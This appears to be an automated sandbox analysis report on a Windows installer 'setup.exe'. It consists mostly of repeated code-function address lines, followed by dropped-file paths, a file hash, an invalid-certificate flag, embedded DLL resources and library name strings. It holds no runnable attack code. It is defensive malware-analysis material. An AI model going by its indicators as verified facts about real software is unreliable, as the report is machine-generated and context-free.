Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDDF	0_3_0838DDDF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A03E0	0_2_004A03E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A2630	0_2_004A2630
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004BA6E0	0_2_004BA6E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004D8DB0	0_2_004D8DB0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0048CF30	0_2_0048CF30
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00491050	0_2_00491050
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0047DB90	0_2_0047DB90
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00341CB0	0_2_00341CB0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004DA030	0_2_004DA030
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004D0120	0_2_004D0120
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00354340	0_2_00354340
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00342510	0_2_00342510
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0047A660	0_2_0047A660
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00524740	0_2_00524740
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004C4830	0_2_004C4830
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004E28C0	0_2_004E28C0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00350B10	0_2_00350B10
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00348C30	0_2_00348C30
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00554D20	0_2_00554D20
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00344D43	0_2_00344D43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004D9220	0_2_004D9220
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0052B350	0_2_0052B350
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_003A9350	0_2_003A9350
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_003133E0	0_2_003133E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00347410	0_2_00347410
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00567439	0_2_00567439
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00311490	0_2_00311490
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0033D670	0_2_0033D670
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00333670	0_2_00333670
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00481690	0_2_00481690
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00561710	0_2_00561710
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00561A70	0_2_00561A70
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00317A00	0_2_00317A00
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00351D70	0_2_00351D70
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00451E50	0_2_00451E50
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0054BEEE	0_2_0054BEEE
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00355360	6_2_00355360
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00341CB0	6_2_00341CB0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_004DA030	6_2_004DA030
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_004D0120	6_2_004D0120
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_004D9220	6_2_004D9220
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_003A9350	6_2_003A9350
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_003133E0	6_2_003133E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00347410	6_2_00347410
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00311490	6_2_00311490
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00360480	6_2_00360480
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_004D84A0	6_2_004D84A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0035F523	6_2_0035F523
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00342510	6_2_00342510
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0035A5E0	6_2_0035A5E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00333670	6_2_00333670
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0033D670	6_2_0033D670
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00561710	6_2_00561710
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_003587E0	6_2_003587E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_004E28C0	6_2_004E28C0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00317A00	6_2_00317A00
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00350B10	6_2_00350B10
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00348C30	6_2_00348C30
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00351D70	6_2_00351D70
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00344D43	6_2_00344D43
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_004D8DB0	6_2_004D8DB0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00451E50	6_2_00451E50

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe 916084789D8A4864E93AFF0D0C22EB56E19C201C19EA2C8601D23B5C3C345519

Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 0053FE17 appears 51 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 0031A7A0 appears 65 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00323440 appears 48 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00543394 appears 81 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 0031ADE0 appears 74 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00319240 appears 241 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00543F50 appears 39 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00468720 appears 58 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 003187C0 appears 60 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00318720 appears 104 times

Source: setup.exe

Static PE information: invalid certificate

Source: MainSoftware.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: SoftwareDistributor.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: SoftwareDistributor.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: MainSoftware.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: Install.exe.part.10.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: Surfclub.exe.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Source: Install.exe.part.10.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: setup.exe, 00000000.00000003.2597878555.0000000005523000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Extensions.Configuration.Abstractions.dll@ vs setup.exe
Source: setup.exe, 00000000.00000002.2604752700.00000000083AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C727000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelzmaextractor.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CB33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.dll@ vs setup.exe
Source: setup.exe, 00000000.00000002.2601820260.000000000552C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.NonGeneric.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.2597090667.00000000083AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs setup.exe
Source: setup.exe, 00000000.00000003.2592492698.00000000083A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.ComponentModel.Primitives.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C83C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Security.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Formats.Asn1.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CB93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Extensions.Configuration.Abstractions.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSerilog.dll0 vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C73C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.StackTrace.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C74D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.IO.Compression.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C870000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Sockets.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.2595875367.0000000005510000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C7F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NameResolution.dll@ vs setup.exe
Source: setup.exe, 00000000.00000000.1723407074.00000000006A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName36.exe. vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CAE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Private.Uri.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C772000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Http.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C821000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Quic.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C549000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemscordaccore.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C549000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSIInstaller.dll: vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C549000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Extensions.Configuration.Abstractions.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSerilog.Formatting.Compact.dllV vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CB85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Channels.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.2592893415.00000000083A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CB1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.Numerics.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1755437103.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewininet.dllD vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.Registry.dll@ vs setup.exe
